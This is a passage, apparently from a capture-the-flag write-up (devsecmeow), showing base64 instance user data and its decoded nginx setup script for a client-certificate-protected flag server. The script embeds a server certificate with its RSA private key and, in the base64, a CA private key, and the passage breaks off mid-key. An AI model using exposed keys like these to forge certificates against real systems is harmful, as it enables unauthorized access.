        "Value": "IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlCnN1ZG8gYXB0IHVwZ3JhZGUgLXkgCnN1ZG8gYXB0IGluc3RhbGwgbmdpbnggLXkKc3VkbyBhcHQgaW5zdGFsbCBhd3NjbGkgLXkgCmNhdCA8PFxFT0wgPiAvZXRjL25naW54L25naW54LmNvbmYKdXNlciB3d3ctZGF0YTsKd29ya2VyX3Byb2Nlc3NlcyBhdXRvOwpwaWQgL3J1bi9uZ2lueC5waWQ7CmluY2x1ZGUgL2V0Yy9uZ2lueC9tb2R1bGVzLWVuYWJsZWQvKi5jb25mOwoKZXZlbnRzIHsKCXdvcmtlcl9jb25uZWN0aW9ucyA3Njg7CgkjIG11bHRpX2FjY2VwdCBvbjsKfQoKaHR0cCB7CgoJc2VuZGZpbGUgb247Cgl0Y3Bfbm9wdXNoIG9uOwoJdGNwX25vZGVsYXkgb247CglrZWVwYWxpdmVfdGltZW91dCA2NTsKCXR5cGVzX2hhc2hfbWF4X3NpemUgMjA0ODsKCglpbmNsdWRlIC9ldGMvbmdpbngvbWltZS50eXBlczsKCWRlZmF1bHRfdHlwZSBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07CgoJc2VydmVyIHsKCQlsaXN0ZW4gNDQzIHNzbCBkZWZhdWx0X3NlcnZlcjsKCQlsaXN0ZW4gWzo6XTo0NDMgc3NsIGRlZmF1bHRfc2VydmVyOwoJCXNzbF9wcm90b2NvbHMgVExTdjEgVExTdjEuMSBUTFN2MS4yIFRMU3YxLjM7IAoJCXNzbF9wcmVmZXJfc2VydmVyX2NpcGhlcnMgb247CgoJCXNzbF9jZXJ0aWZpY2F0ZSAgICAgICAgIC9ldGMvbmdpbngvc2VydmVyLmNydDsKCQlzc2xfY2VydGlmaWNhdGVfa2V5ICAgICAvZXRjL25naW54L3NlcnZlci5rZXk7CgkJc3NsX2NsaWVudF9jZXJ0aWZpY2F0ZSAgL2V0Yy9uZ2lueC9jYS5jcnQ7CgkJc3NsX3ZlcmlmeV9jbGllbnQgICAgICAgb3B0aW9uYWw7CgkJc3NsX3ZlcmlmeV9kZXB0aCAgICAgICAgMjsKCQlsb2NhdGlvbiAvIHsKCQkJCWlmICgkc3NsX2NsaWVudF92ZXJpZnkgIT0gU1VDQ0VTUykgeyByZXR1cm4gNDAzOyB9CgoJCQkJcHJveHlfcGFzcyAgICAgICAgICAgaHR0cDovL2ZsYWdfc2VydmVyOwoJCX0KCgkJYWNjZXNzX2xvZyAvdmFyL2xvZy9uZ2lueC9hY2Nlc3MubG9nOwoJCWVycm9yX2xvZyAvdmFyL2xvZy9uZ2lueC9lcnJvci5sb2c7Cgl9CgkKCWd6aXAgb2ZmOwoJaW5jbHVkZSAvZXRjL25naW54L2NvbmYuZC8qLmNvbmY7CglpbmNsdWRlIC9ldGMvbmdpbngvc2l0ZXMtZW5hYmxlZC8qOwp9CgpFT0wKY2F0IDw8XEVPTCA+IC9ldGMvbmdpbngvc2l0ZXMtZW5hYmxlZC9kZWZhdWx0Cgp1cHN0cmVhbSBmbGFnX3NlcnZlciB7CiAgICBzZXJ2ZXIJbG9jYWxob3N0OjMwMDA7Cn0Kc2VydmVyIHsKCWxpc3RlbiAzMDAwOwoKCXJvb3QgL3Zhci93d3cvaHRtbDsKCglpbmRleCBpbmRleC5odG1sOwoKCXNlcnZlcl9uYW1lIF87CgoJbG9jYXRpb24gLyB7CgkJIyBGaXJzdCBhdHRlbXB0IHRvIHNlcnZlIHJlcXVlc3QgYXMgZmlsZSwgdGhlbgoJCSMgYXMgZGlyZWN0b3J5LCB0aGVuIGZhbGwgYmFjayB0byBkaXNwbGF5aW5nIGEgNDA0LgoJCXRyeV9maWxlcyAkdXJpICR1cmkvID00MDQ7Cgl9Cgp9CkVPTApjYXQgPDxcRU9MID4gL2V0Yy9uZ2lueC9zZXJ2ZXIuY3J0Ci0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQpNSUlEeHpDQ0FxOENGRjRzUVk0eHExYUF2Zmc1WWRCSk9yeHFyb0c1TUEwR0NTcUdTSWIzRFFFQkN3VUFNQ0F4CkhqQWNCZ05WQkFNTUZXUmxkbk5sWTIxbGIzY3RjSEp2WkhWamRHbHZiakFlRncweU16QTNNakV4TkRVd05ERmEKRncweU5EQTNNakF4TkRVd05ERmFNQ0F4SGpBY0JnTlZCQU1NRldSbGRuTmxZMjFsYjNjdWNISnZaSFZqZEdsdgpiakNDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFNWVJxTWMxdXNiUy80eW9KOXFXCjRReEh3RnlIeDZiN01raTR2VkpEOEdvTnlHVVdmVWxrc1VocTg0Wkk0WnBBbjc4dHZvVitsemVXUU53NFhFejIKWDNVM1hJN0FIRmVRWW84V0xjdmFvQWdqMFA3dU0xa2Jub1hVeDU0eXJhQnR5OTh1T0tMRHd1R0QyWk5NeVpqUgp5RTEwMDVlZWhQL21ydEg3NU43Zk44WlgyR0QzMC9IZ0RzM3dVY2ROMU45L0NHV0Y3czZ6U01OS0t5TGJnemQ0ClVsT0lZMWpDUU4wSnlSZlJpa3hmbXVLV2VFbFZDejQraVh2QzhpNjlxUkw0TjYzWDVUTTkwamo5S0l6MUtxY28KZ2tYK21XYVFTQUtrR0tRSTZjaFlqb1ZicVFqakY4MEtPOC8zV0FGY1h3aXIxQzJZNFpubUszWTlvNUo0T3lsbgpCNWVWUmtscXNkTHl2MUtWdTJ4czErZ3JLdEdldDQ5bi9TTk11TXdlc0ZtYjZ0UHMzaE04YUcwdi8wVzVlSVhiCnRCVnd1NFh3T2xJVFdvMVRlL3dtUC96YWk2RllseUxJRXBDRDZMSjkvc2FqcXhZdGFzbFNIbGdJanFUSTlWS28KbmFoRWJqOFhhN1RNck5GYnIyTlk1ejNvTHlwSUNycUUvelB1T2dNQk02RFg1Y25sZnFlQXdJVm5MNVF4UW9RZQpvY3dTRGVBWERJY05kekhlbFVDZ0JpU2pMdzA1NWh3TnNMeC9aUTZZdTdZNFMwaEUxQ1paM2crK1dvSC9rTHhpCmk2cEhvYVRIc0I0Tkl6NURZaVFFeWR5d3pqblg3RkFYcVl3ZjRpWllMSWlTOU02aVhYQjFPTUJndElOVnhnbEEKY0JVNTQrSTR1NGgvQ1VralBZUHM4eDExQWdNQkFBRXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBQ29DUVo1ZQo4YTRSZ01Pb2VxaWFpS0Y0eFZLOEtRR3RFVUtqSWVZVDRMSWVWRlJocEI1bS9SV3hqMmRzaEhOcjFiSldGUCtICmlyZWNVaXNxTGtwbUFaUlRHR2JLOThoTjFtdVY4NUxSc3lRVGZlc1ZOQ1Q4QXozZzBVVUZONnJRZE1vQXFuOTcKbEEvcEs0TjdOeGk3SERoYWlwWlE2dVBjR1ZRa3JjS09TY3hxN1kxSUoxTnEwcXBLbHJ4MlFJekIzcnBFMUNwbQplWVgxcUhxZ2ZMYytXR2J3RmZXRjlyYVNHMGJiTG1CK2tyWHRUVUVxb3JUdHI0UlVRM0pDaDBtb0o1VG9VZ3pjCnFhWWRLVjg3SmRBc2g4OERjOFI0eEV5K0NnbVAwVGVjc2R1NHZwK1FHTElGeUtWWFYxblBXRjJpaHo4WGVsTGUKS2lOaWk3YjZWNDNIU3JBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpFT0wKY2F0IDw8XEVPTCA+IC9ldGMvbmdpbngvc2VydmVyLmtleQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tCk1JSUpLUUlCQUFLQ0FnRUF4aEdveHpXNnh0TC9qS2duMnBiaERFZkFYSWZIcHZzeVNMaTlVa1B3YWczSVpSWjkKU1dTeFNHcnpoa2pobWtDZnZ5MitoWDZYTjVaQTNEaGNUUFpmZFRkY2pzQWNWNUJpanhZdHk5cWdDQ1BRL3U0egpXUnVlaGRUSG5qS3RvRzNMM3k0NG9zUEM0WVBaazB6Sm1OSElUWFRUbDU2RS8rYXUwZnZrM3Q4M3hsZllZUGZUCjhlQU96ZkJSeDAzVTMzOElaWVh1enJOSXcwb3JJdHVETjNoU1U0aGpXTUpBM1FuSkY5R0tURithNHBaNFNWVUwKUGo2SmU4THlMcjJwRXZnM3JkZmxNejNTT1Awb2pQVXFweWlDUmY2WlpwQklBcVFZcEFqcHlGaU9oVnVwQ09NWAp6UW83ei9kWUFWeGZDS3ZVTFpqaG1lWXJkajJqa25nN0tXY0hsNVZHU1dxeDB2Sy9VcFc3Ykd6WDZDc3EwWjYzCmoyZjlJMHk0ekI2d1dadnEwK3plRXp4b2JTLy9SYmw0aGR1MEZYQzdoZkE2VWhOYWpWTjcvQ1kvL05xTG9WaVgKSXNnU2tJUG9zbjMreHFPckZpMXF5VkllV0FpT3BNajFVcWlkcUVSdVB4ZHJ0TXlzMFZ1dlkxam5QZWd2S2tnSwp1b1QvTSs0NkF3RXpvTmZseWVWK3A0REFoV2N2bERGQ2hCNmh6QklONEJjTWh3MTNNZDZWUUtBR0pLTXZEVG5tCkhBMnd2SDlsRHBpN3RqaExTRVRVSmxuZUQ3NWFnZitRdkdLTHFrZWhwTWV3SGcwalBrTmlKQVRKM0xET09kZnMKVUJlcGpCL2lKbGdzaUpMMHpxSmRjSFU0d0dDMGcxWEdDVUJ3RlRuajRqaTdpSDhKU1NNOWcrenpIWFVDQXdFQQpBUUtDQWdFQWppcWV1bDRXY2grQXpiVGs1a0RseDZxNHA3SE4zRXp4Q3NHUElqMGhrdjNSbUwxTHNDSldIV1NtCjV2dm84bzd3R29qNjkxYWxzNEJsamF2bWxGZENyUi9QajZiVXNRVXh1UUp5WEovUHZnZjNPd1ErVnZjOEVWTm8KOUdQcnUvc1RHbDVTeUlFNm9DUERSN2NWL0ZxWEt3RnYzcVFwVW9TQmRyY1d6K0hvWnJVbTJuTUg3ZFNreTZ4egpCbHNYTUZROThxRHZoKzJuaklUdjhWVWVHZktESlBJQVhQVVJHWmFzZ0N3bTJDckhRVncvZW1OUWJwejBrYUNiCnRIRHRxbS8vaHdndnUxZmtUSU5wVjhPaG1kbTVxQVBXbDRkNEtHMGdRcDBqTUdwZjRkaW91M2hFM1NjN1IwcUMKSUhmc3ZveVcveU44eXJvcTkvUEdOSnVYMjEvWVVmQWtta3JvcGxneWtxNGZ3ZFlEcXFYcnYzRVE0WnAwalRRNAozUGVvTlZPTVlBTlZvU3dZL2Zvajl5d1hZUGxLUy9pZW5TUGdtblVFd2VXUk1NeW5LOWNoWUY1WHlCY0hLWVROCjRXbEJuQTl1SERxdE93L09GbVJwOXFabnN2OG5GaWFVVkxXY2xSRzdPdjRVbXVhbis3V2Mybzdja05iZTY3ZTMKdmt5Q0t1cDRiTTFZMnJISWhrSGdmZXVhb1NjbVNmMHBOYzA2VUlFZVE1VXNzMmJKYm9ZeGtTeldkVkhFQWhidwpmTXB5R1dMV3EzaVFOU3lsNEVLd2lJUWFzUktFcEhUN2RTcTJhTjVCZCt6N2w4eTVzNUNtYlVqTk9Gem1NZHhVCjFnRHZKVFE2M3ZPV1FoR2FlUDRiWTY1N0crbEJhVjZFT2ZlbHNQMGRZdCtZUnBpWWNBRUNnZ0VCQVBsUWJRN0oKOCtDSmZ2aFNUVWR6YnNrdGZObUVoendDdUJYYkZQV1pRdlhiWkpaUXpHWFRGTTM2MFpUUFNyMnlXMkQ2TnlMdgpsc2toTktmWEVSbHNub0drK0FuOUl1VUVKQlpnaDhEODhnb0xhL2JjTUxZVldKNVg3cFZ5dlRpZEtTQnc5V2cvCllWZDBqdVFXdVBTQjRLMW1IWnhuZk1JSHNDWWNMcXZ5QTlPSFJJbmFiN3F2K0o0QXh0MnJudTd1ajFSVnJaMVoKQnd3ZmtQNEtveStHcmUxalhuVTRuMkV6RjlSWmdjcXAxZ1JRS3I2V0xDVlQ1c2RQSWZGV1NDSWZEREtxaHdRSgpKU0toL0ttK09NWndGZXNXbFVSOW0rNk1RbGJRZ2JoWCsvKzRxdGIrdGttNXZ5OFVzRDdBZ2RJMTIxRlpkSlRVCkx5QlEwNnlreFJoOGt5VUNnZ0VCQU10aGJiQ0d4cStCaGNRbFNtUU9jTXdaVncwMVhsQnQxcDN0L2ZNVFhGVGwKdE9tWExjQlM4SHhOclMxS0V2alovZmJMU2tLdVdyRi93SlRtb0FEYVlCa1hId2lpMko5blBLVk9mVlZmSlZBVAp3bDlCcllZSzRTK3lqeHBFY3I2VFhPN1JGRmNpS3MyWlhhdkJvUU9ObEhLNlZUb2o4SUhzV3VoUXZFYjVOcmp4CnVaSkxMd0lnOXB5ODZNYStMd1FmU25ycWJGaFowMFlORVJrTkxqblZCNFNDd3MzZHR2Z2JxYjc0b20xVjhveUoKSk1GNSsvYStWYXpENmJJVjhRdUo3SHZqWWRLOWdWWS9UcFV1S3UvaldtVVkxR0phSmRORU42ajlLdk1MdUozYgpqbmd2YWpGRENoMnBDM1h3a3hNcGFBNzBMWk5jZ1R3cElqeDFBdFNrZUJFQ2dnRUFCdkZQYUNjRmpJNG5wQUNlCnVFdWxuU0tRSkhxRlRZMkIxTkg1L25EYkpYK0xpSWdOZVJSc3N1TzJMRit0WkNUd1dIMy9SUkRJOFNia2tYdnkKdFBPS1ltL1duR2laTFNsMVc4NHFXWnh4blFmK1pLeHpDczhEWGIxekhtUklrcWdGdWlxTEd2RVE0OStTRHhYMgo1cEFyVW9qU2NFV05ldFc5K1FHMTV3SGhTMldyNmU3VVI2Mll6Y1dWeEJ5QVc0VDNKdEVQK1o2K0RIOWdpVUtBCmt0VThTSzBJdDFqeFQwS2Qra0xYMDIzeFVNTnV2VW52UnNiVVdWNkJ3bmUxb0lXZTBGWmhWaUp2RDB6VmZXQ1gKc2lieTVVNEdzQmFUWGd3MzJMVUx0N2R6aEFaL2MyYzZha2txNHNPL3VLK2hyZG5rRnByWUhVRGZZeFg5SHdTagpuRy96cFFLQ0FRRUFydUlPVWpieWJrUXY1Q1EwdmFqMU1XdXd3VGpjNnNnb1BoRkJ4MTBramhRZjVxVUt3RkFSClhySGtjZ2M2SFNaR0RZdHRSYjFyV3lvQlRZaXFtVkV1UlNUdW1KeC9MVUsya1diV3V5eGZoMllXUTViVVFXamwKamdBNnNWbWVXV1dhQ2ZsYlJqbXBHTFlDS0FrT0RXSVcvamhmeE9qV2pNSFN3ZVY2b0lUM216eXdWNjJ5dEYvbgo3NHM1bG53L0xZcENuME1vK3lmeVZsQXlIWnFKMzB6aGMvNkV5RVVZYW14UElGbm9RYUFnT3R4SzhOdVYzK3gyCisySlRkOEVLVHVQQXFCODBKT1N6YkpodldEUWswN1pxS25pWldDRXdXV1JWZ0VpQ1FCQWFKaE4vaExVdzJUOU8KV1liY3hnT2lWRjNNanQ5RXVXeFg3SVZxWFJZNDR1U3lJUUtDQVFCZ0pyd1FScFovSVNzeEptMmZKWElqc2V6UQpNUHhGZU1FUU1ENXRqaU51MXlYdFlJVFJIZy9HK2NGdkdIVmc0UExXN1owOTM0TjEyeFdycElBdE00QmxDMlpzCklMSitmQjNxWkZMb01KS21zWndWSFphd1hpZGk3d25RQVN2cFlEaXhTOTlYQjJlY2NRR2dpeVRmTVU1UXdPVjYKUGtvZmhqeWVCYlNwekZ0cHRIekpGdUVpdy8ycmRrd0xFWkdQT2k4elArNVQybTdDeWFVdWppb3o3b3B1U3JFcgp3dnA5YXl6TFRXWnRuK2hJTDhIVE9WRmp6VHhuTjNXQ2JiUlB1R3A3TFlSNnI0UmQyRVM3dHFaaFV1UnFza05FCjNuR1RRNlFLNTBqdFZXQjl4b3NKbzRoZEFFS1krOW14NmlaUUp4bEFmOWJuaURoWkVpdWJ4RjhxcXMxSAotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQoKRU9MCmNhdCA8PFxFT0wgPiAvZXRjL25naW54L2NhLmNydAotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJRElUQ0NBZ21nQXdJQkFnSVVRM1NOL0ljN1QyeDF2NmNBNmdLUFV4TlNsTmd3RFFZSktvWklodmNOQVFFTApCUUF3SURFZU1Cd0dBMVVFQXd3VlpHVjJjMlZqYldWdmR5MXdjbTlrZFdOMGFXOXVNQjRYRFRJek1EY3lNVEUwCk5UQTBNRm9YRFRJME1EY3lNREUwTlRBME1Gb3dJREVlTUJ3R0ExVUVBd3dWWkdWMmMyVmpiV1Z2ZHkxd2NtOWsKZFdOMGFXOXVNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQXhOa3NrYmI3bnFSRApuVk1GSnJXUVVZdUNVUnlZam5jR1ZaVEVGek8xY09PRUFSMzVEbWNSdVZnV1RBQ1VKZFJScWI2bEwvN1ZiZmdtCjFUVjh2ajd4L3FOY2lFdmQ0L056b3RsQlhZQ1hKTGlsTEZVeWR4dUVxenB4WDlmQ0d4UUowbnNLRHN3WXVVcGkKN2lyZTk1Mnk4WUFsdS9EQUFwZndtL0s4clMyZWR2dkoyMndyMVF6bm1FSWVkZjNHRkkzZ2lGZ3lpQjgxYm1xcwpXK3ZMd2Q1OTlzZVNWYzQ4c200VmRJYncxS3hRclFWVTlSd3I3VnlSN2ZyRklpdFBJcFRSZkQ2UC92WkFaU21kCmljUEFxKzJpREdqMVlFeTRBZlJzbithaDdYUXFwNVpDNGlaY2NaaWRIR1ZsSFNtc0RYcUoya3B3ZXVZb1ZDenkKSGpNSXVQcWtEd0lEQVFBQm8xTXdVVEFkQmdOVkhRNEVGZ1FVcjg3cUxmK0lmR3Jma1lhamRJdHFNRnpieTc4dwpId1lEVlIwakJCZ3dGb0FVcjg3cUxmK0lmR3Jma1lhamRJdHFNRnpieTc4d0R3WURWUjBUQVFIL0JBVXdBd0VCCi96QU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FRRUF1bTQxUjQ2ajZPbHFtcWR2RWd0M0Q1cENzVGE3ZndmYnZkcXAKRmdTbHNHcnd0UnpBeEVUWVBqNmQra1lsaUZJL1o0NnRFM3gxNUY1emlzUFBUM0YvSGpxekxQSkJ2Q1FXamlIVworblJuaXFuNU96d2dDc0tCOGtJVk8wMXRFMDJpYld5SXpMMTVzOEl2ek5UREgvV1VVZjFZdk4vUUtydnI3TkMxCmZHdWkvMzR3L1Npa2MxY2t1YXlPTTZCNnloZjJXb0N0Qy90eGFHQnhTYTk1dHFTQUR4aXcyWDRydTd2dURxSk8KVE5WWnJVM0lrRENVaFJTeHZjZXNtNG9mMEIyMUdDbXBjVUFVNzVBK1VGM3NsOGpGVE5mOG9NRlp6VzE3VzRiZwp0TWRhZDJQdmw5SUwzYldqVDB1V01PVTd1RldIUkZDS0VWcnpDeko2c1VkeWFtd3NMZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KCkVPTApjYXQgPDxcRU9MID4gL2V0Yy9uZ2lueC9jYS5rZXkKLS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2d0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktrd2dnU2xBZ0VBQW9JQkFRREUyU3lSdHZ1ZXBFT2QKVXdVbXRaQlJpNEpSSEppT2R3WlZsTVFYTTdWdzQ0UUJIZmtPWnhHNVdCWk1BSlFsMUZHcHZxVXYvdFZ0K0NiVgpOWHkrUHZIK28xeUlTOTNqODNPaTJVRmRnSmNrdUtVc1ZUSjNHNFNyT25GZjE4SWJGQW5TZXdvT3pCaTVTbUx1Ckt0NzNuYkx4Z0NXNzhNQUNsL0NiOHJ5dExaNTIrOG5iYkN2VkRPZVlRaDUxL2NZVWplQ0lXREtJSHpWdWFxeGIKNjh2QjNuMzJ4NUpWemp5eWJoVjBodkRVckZDdEJWVDFIQ3Z0WEpIdCtzVWlLMDhpbE5GOFBvLys5a0JsS1oySgp3OENyN2FJTWFQVmdUTGdCOUd5ZjVxSHRkQ3FubGtMaUpseHhtSjBjWldVZEthd05lb25hU25CNjVpaFVMUEllCk13aTQrcVFQQWdNQkFBRUNnZ0VCQUtBQmc3ZmlDLzkwdUQwdVdYYVFpUUd2cTdyd3lwU3E3U3d0WTRNVWxmeHcKQTBIQk1rdmh2Y2R4Y1paUHRoeFZ6QmQxRHVMSGVvY0wrY3krMEduMzBrN1FUUXZBMTFsTjc0WEVvTnczQlNSbApMbVd0enZxQUZNUDJHbWYwZ2lQdWt0bFRCK2JsUVllRGpvelhyaXVLTlFVV3pCVkxhVmZ5VnpMOENSK2ZnRHBuCm5VYWk3UDB0aFQ4TWp4WGVzVnZmMWprcTR5WnFQTU9MTkxZRXVVbjVHK09rTkNIb3FyYzRVZC9GdDFscWQ0ZjEKeXZKKzlJREJaMjk4K0hoQ25sd3laK2lwVFpGVGNnelY2by9mNEhxMGhmaXFHeDBlczBHdCtqdGtwUjk5QVM0QQp4R0dVOUNNeTJiS2s3azVhYW9pbjdkbGppSWNUckNrV3NuQ2dhVkhQTkxrQ2dZRUE0YlcwQW1IV0ZtekFCVC9UClR6emdRS0pzRnZ3dktEV09KaURWVGN6WmxUZlhlV2NNOVdRdEFlY0FrMlp4QVpxdHFYRWF0emhXc0dJdm14TXIKek1LejlSTHh4UnN0dFY0eHpSd0RmY2pLelJ1WkFWMHhYUHNJdWFaUHB6cnFDWDh1RnJ2aGlqZjhwcld1TEZacgoybUM3a3hWVnBmRGpPNjhlNzRZSlZTS21PZ1VDZ1lFQTMwUHVhMHZPUFhGTDJoOFRjYmpHOUZ5VHhpZDRPUVdFCnMxSWlMWVJ3M2pWVldsSjJnQWxaNGV5K3pURzE2MnpWNFYyeUhyWkYyM2VzNDV5b1dnU1Jaa3h1ZmtRWTlDSmkKWE1YZjBxZHlDMWxWaC9uYUpYZHo1QVlyNUt3eUR2OVVLakpjNnZ1YmN1U21ENmg2SDNRT2drWmVvQ3Q3NWx3eQpqS3d3U1JSTC9nTUNnWUI0QW9McDJWZFpxUTBZUFcxL2JpRFdmUVgzMnJMQU1HbWFnRTZxQlVlVGZaT0dLM0xLCmJ5ODNHYnBHcFd0a3JQZTFaandNTzFwc2dtaEpqaEgxMTNpVDBEVFkxckNoQktwNkluRUF5bWg2VWpneWIzaTEKdFl4WUdjTzBhVERUUjlvYm9GNDFmYnRLY01OaE03bzQ3TUlQWElLanJzZERqc05tRytDT2NkUHNlUUtCZ1FDNQpuaXFiL2R3cmJRUVpCZmtPZFFiRHBpd2RkRGNaZ1NNQVN1cXJXUTdWVHhYMUQ5WUJRTVQvZGVwemdqNnl5anRQCk1LeWpwL3FRS2dFTkF2TmNVNnZtbHVqT0JTT1I1UHhPRVJ5eWNBLzZxM3pXbmJ6bHBWZ3VYWXNraEp6aHB4bDgKTTM3WXhmSkpKUnVDclJsTENSdis1eTVJajU1a3VJWTJPZm15NkRMOXJRS0JnUURlZlRnaVNLVklsTXBaUmlHdApWT0FEME1GZGEvazl0cFRQVDlIZGxMNGI0NG1rTnpQYWlsSkFUSDBYTERxU3d1WG40d0pFZ01Bd3FiTThDR1NvCk9wYXIzZml4U3JpS2t3dVR1RHk4Zk0xZGJwallDaThyS3N3R1VMVHZwRkhKUVpTRHU0K3NDRHhiWlV2OVZUQVMKYVV3ak9lWXlJWmlCK1NRdC9rVVVabTFhY0E9PQotLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tCgpFT0wKYXdzIHMzIGNwIHMzOi8vZGV2c2VjbWVvdzIwMjNmbGFnMi9pbmRleC5odG1sIC90bXAvCnN1ZG8gY3AgL3RtcC9pbmRleC5odG1sIC92YXIvd3d3L2h0bWwKcm0gL3RtcC9pbmRleC5odG1sCnN1ZG8gc3lzdGVtY3RsIHJlc3RhcnQgbmdpbngK"
    }
}

This decodes to a bunch of SSL certs:

#!/bin/bash
sudo apt update
sudo apt upgrade -y 
sudo apt install nginx -y
sudo apt install awscli -y 
cat <<\EOL > /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
	# multi_accept on;
}

http {

	sendfile on;
	tcp_nopush on;
	tcp_nodelay on;
	keepalive_timeout 65;
	types_hash_max_size 2048;

	include /etc/nginx/mime.types;
	default_type application/octet-stream;

	server {
		listen 443 ssl default_server;
		listen [::]:443 ssl default_server;
		ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; 
		ssl_prefer_server_ciphers on;

		ssl_certificate         /etc/nginx/server.crt;
		ssl_certificate_key     /etc/nginx/server.key;
		ssl_client_certificate  /etc/nginx/ca.crt;
		ssl_verify_client       optional;
		ssl_verify_depth        2;
		location / {
				if ($ssl_client_verify != SUCCESS) { return 403; }

				proxy_pass           http://flag_server;
		}

		access_log /var/log/nginx/access.log;
		error_log /var/log/nginx/error.log;
	}
	
	gzip off;
	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}

EOL
cat <<\EOL > /etc/nginx/sites-enabled/default

upstream flag_server {
    server	localhost:3000;
}
server {
	listen 3000;

	root /var/www/html;

	index index.html;

	server_name _;

	location / {
		# First attempt to serve request as file, then
		# as directory, then fall back to displaying a 404.
		try_files $uri $uri/ =404;
	}

}
EOL
cat <<\EOL > /etc/nginx/server.crt
-----BEGIN CERTIFICATE-----
MIIDxzCCAq8CFF4sQY4xq1aAvfg5YdBJOrxqroG5MA0GCSqGSIb3DQEBCwUAMCAx
HjAcBgNVBAMMFWRldnNlY21lb3ctcHJvZHVjdGlvbjAeFw0yMzA3MjExNDUwNDFa
Fw0yNDA3MjAxNDUwNDFaMCAxHjAcBgNVBAMMFWRldnNlY21lb3cucHJvZHVjdGlv
bjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMYRqMc1usbS/4yoJ9qW
4QxHwFyHx6b7Mki4vVJD8GoNyGUWfUlksUhq84ZI4ZpAn78tvoV+lzeWQNw4XEz2
X3U3XI7AHFeQYo8WLcvaoAgj0P7uM1kbnoXUx54yraBty98uOKLDwuGD2ZNMyZjR
yE1005eehP/mrtH75N7fN8ZX2GD30/HgDs3wUcdN1N9/CGWF7s6zSMNKKyLbgzd4
UlOIY1jCQN0JyRfRikxfmuKWeElVCz4+iXvC8i69qRL4N63X5TM90jj9KIz1Kqco
gkX+mWaQSAKkGKQI6chYjoVbqQjjF80KO8/3WAFcXwir1C2Y4ZnmK3Y9o5J4Oyln
B5eVRklqsdLyv1KVu2xs1+grKtGet49n/SNMuMwesFmb6tPs3hM8aG0v/0W5eIXb
tBVwu4XwOlITWo1Te/wmP/zai6FYlyLIEpCD6LJ9/sajqxYtaslSHlgIjqTI9VKo
nahEbj8Xa7TMrNFbr2NY5z3oLypICrqE/zPuOgMBM6DX5cnlfqeAwIVnL5QxQoQe
ocwSDeAXDIcNdzHelUCgBiSjLw055hwNsLx/ZQ6Yu7Y4S0hE1CZZ3g++WoH/kLxi
i6pHoaTHsB4NIz5DYiQEydywzjnX7FAXqYwf4iZYLIiS9M6iXXB1OMBgtINVxglA
cBU54+I4u4h/CUkjPYPs8x11AgMBAAEwDQYJKoZIhvcNAQELBQADggEBACoCQZ5e
8a4RgMOoeqiaiKF4xVK8KQGtEUKjIeYT4LIeVFRhpB5m/RWxj2dshHNr1bJWFP+H
irecUisqLkpmAZRTGGbK98hN1muV85LRsyQTfesVNCT8Az3g0UUFN6rQdMoAqn97
lA/pK4N7Nxi7HDhaipZQ6uPcGVQkrcKOScxq7Y1IJ1Nq0qpKlrx2QIzB3rpE1Cpm
eYX1qHqgfLc+WGbwFfWF9raSG0bbLmB+krXtTUEqorTtr4RUQ3JCh0moJ5ToUgzc
qaYdKV87JdAsh88Dc8R4xEy+CgmP0Tecsdu4vp+QGLIFyKVXV1nPWF2ihz8XelLe
KiNii7b6V43HSrA=
-----END CERTIFICATE-----

EOL
cat <<\EOL > /etc/nginx/server.key
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEAxhGoxzW6xtL/jKgn2pbhDEfAXIfHpvsySLi9UkPwag3IZRZ9
SWSxSGrzhkjhmkCfvy2+hX6XN5ZA3DhcTPZfdTdcjsAcV5BijxYty9qgCCPQ/u4z
WRuehdTHnjKtoG3L3y44osPC4YPZk0zJmNHITXTTl56E/+au0fvk3t83xlfYYPfT
8eAOzfBRx03U338IZYXuzrNIw0orItuDN3hSU4hjWMJA3QnJF9GKTF+a4pZ4SVUL
Pj6Je8LyLr2pEvg3rdflMz3SOP0ojPUqpyiCRf6ZZpBIAqQYpAjpyFiOhVupCOMX
zQo7z/dYAVxfCKvULZjhmeYrdj2jkng7KWcHl5VGSWqx0vK/UpW7bGzX6Csq0Z63
j2f9I0y4zB6wWZvq0+zeEzxobS//Rbl4hdu0FXC7hfA6UhNajVN7/CY//NqLoViX
IsgSkIPosn3+xqOrFi1qyVIeWAiOpMj1UqidqERuPxdrtMys0VuvY1jnPegvKkgK
uoT/M+46AwEzoNflyeV+p4DAhWcvlDFChB6hzBIN4BcMhw13Md6VQKAGJKMvDTnm
HA2wvH9lDpi7tjhLSETUJlneD75agf+QvGKLqkehpMewHg0jPkNiJATJ3LDOOdfs
UBepjB/iJlgsiJL0zqJdcHU4wGC0g1XGCUBwFTnj4ji7iH8JSSM9g+zzHXUCAwEA
AQKCAgEAjiqeul4Wch+AzbTk5kDlx6q4p7HN3EzxCsGPIj0hkv3RmL1LsCJWHWSm
5vvo8o7wGoj691als4BljavmlFdCrR/Pj6bUsQUxuQJyXJ/Pvgf3OwQ+Vvc8EVNo
9GPru/sTGl5SyIE6oCPDR7cV/FqXKwFv3qQpUoSBdrcWz+HoZrUm2nMH7dSky6xz
BlsXMFQ98qDvh+2njITv8VUeGfKDJPIAXPURGZasgCwm2CrHQVw/emNQbpz0kaCb
